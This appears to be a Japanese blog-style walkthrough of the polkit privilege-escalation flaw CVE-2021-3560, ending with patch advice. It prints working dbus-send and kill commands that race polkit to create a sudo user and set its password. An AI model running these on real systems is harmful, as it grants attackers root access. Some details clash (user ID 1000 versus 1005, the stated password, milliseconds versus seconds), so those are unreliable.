
2021年、研究者のKevin BackHouse氏がpolkitユーティリティにおける権限昇格の脆弱性を発見しました。ただし、すべてのLinuxバージョンがpolkitに対して脆弱であるわけではありません。
以下は脆弱なバージョンの例です;
最新のLinuxバージョンではこの脆弱性の修正がすでに行われていますが、上記のような古いバージョンでは依然としてこの脆弱性が存在します。
Polkitは多くのLinuxディストリビューションにデフォルトでインストールされているシステムサービスです。systemdによって使用されるため、systemdを使用するLinuxディストリビューションはすべてpolkitも使用します。
Polkitは、ダイアログボックスが表示されたときに背後で動作しているシステムサービスです。例;
特権を変更したり、ユーザーアカウントの作成などより高い特権を必要とする操作を行う場合、Polkitはそのアクションを許可または拒否する役割を担います。
CVE-2021-3560は、非特権のローカル攻撃者がroot権限を取得できるようにします。非常に簡単かつ迅速に悪用できるため、できるだけ早くLinuxインストールを更新することが重要です。polkitバージョン0.113(またはそれ以降)がインストールされているシステムはすべて脆弱です。これにはRHEL 8やUbuntu 20.04などの人気ディストリビューションが含まれます。
手動でdbusメッセージをdbus-daemon(実質的には異なるプロセス間で通信を可能にするAPI)に送信し、リクエストが完全に処理される前に強制終了することで、polkitを欺いてコマンドを承認させることができます。
dbus-daemonは、アプリケーション間のメッセージを仲介するバックグラウンドで動作するプログラムです。
基本的に、この脆弱性の再現は以下の手順で行われます;
攻撃者は手動でdbusメッセージをaccounts-daemonに送信し、sudo権限を持つ新しいアカウントの作成(または後に新しいユーザーに設定するパスワード)を要求します。このメッセージにはdbus-daemonによって一意のIDが割り当てられます。
攻撃者は、polkitがメッセージを受信した後、polkitがメッセージを処理する前にメッセージを強制終了します。これにより、一意のメッセージIDが事実上破棄されます。
Polkitはdbus-daemonに対して、メッセージを送信したユーザーのユーザーIDを(削除された)メッセージIDを参照して問い合わせます。
dbus-daemonはメッセージIDを見つけることができません(ステップ2で削除したため)。エラーをエラーコードで応答することで処理します。
Polkitはエラーを誤って処理し、ユーザーIDとして0を代わりに使用します。つまり、マシンのrootアカウントです。
rootユーザーがアクションを要求したと考え、polkitはリクエストを無条件に許可します。
要するに、dbus-daemonが正しいIDをpolkitに渡す前にメッセージIDを破壊することで、polkitの不十分なエラーハンドリングを悪用し、リクエストが全能のrootユーザーによって行われたと思い込ませるのです。
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:lucas string:"test vulns" int32:1
この場合、ユーザーlucasを作成しようとすると、権限がないというメッセージが表示されます(認証が必要です)。
このコマンドは手動でdbusメッセージをaccounts daemonに送信し、応答を表示し、lucas(string:lucas)という新しいユーザーを、説明"test vulns"(string:"test vulns")とsudoグループのメンバーシップをtrue(int32:1で参照)として作成します。
time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:lucas string:"test vulns" int32:1
この場合、ステップ1と同じユーザー作成コマンドを使用しますが、コマンドの時間を返すために'time'関数を使用します。
これには0.011秒かかります。この数値はコマンドを実行するたびにわずかに異なります。
試してみましょう。dbusメッセージを送信し、途中で強制終了します:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:lucas string:"test vulns" int32:1 & sleep 0.005s; kill $!
dbusメッセージをバックグラウンドジョブで送信し(アンパサンドを使用してコマンドをバックグラウンド化)、0.005ミリ秒スリープしてから前のプロセス($!)を強制終了しました。これにより新しいユーザーが正常に作成され、sudoグループに追加されました。この時点で、このインスタンスでの新しいユーザーのユーザーIDが1000であることに注意してください。
opensslを使用して、タイプ6(SHA512-crypt)のパスワードと平文パスワードを生成します。
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1000 org.freedesktop.Accounts.User.SetPassword string:'$6$jErqxzPvzrnXP8uC$j8p1DAuEMe0mnM8Pkm3VkVPL5fPWk7c0fFuZkLCi8/hTb5a/ATZjfwHSwEbhQFZR98xWemFWQHEGaTr8KcKaz0' string:'test vulns' & sleep 0.005s; kill $!
この場合、上記の手順で作成されたID 1005に対してパスワード(banana)を含めています。
この脆弱性は公開され、修正は2021年6月3日にリリースされ、CVE-2021-3560が割り当てられました。
yum/apt update/upgradeでマシンの更新を確認してください。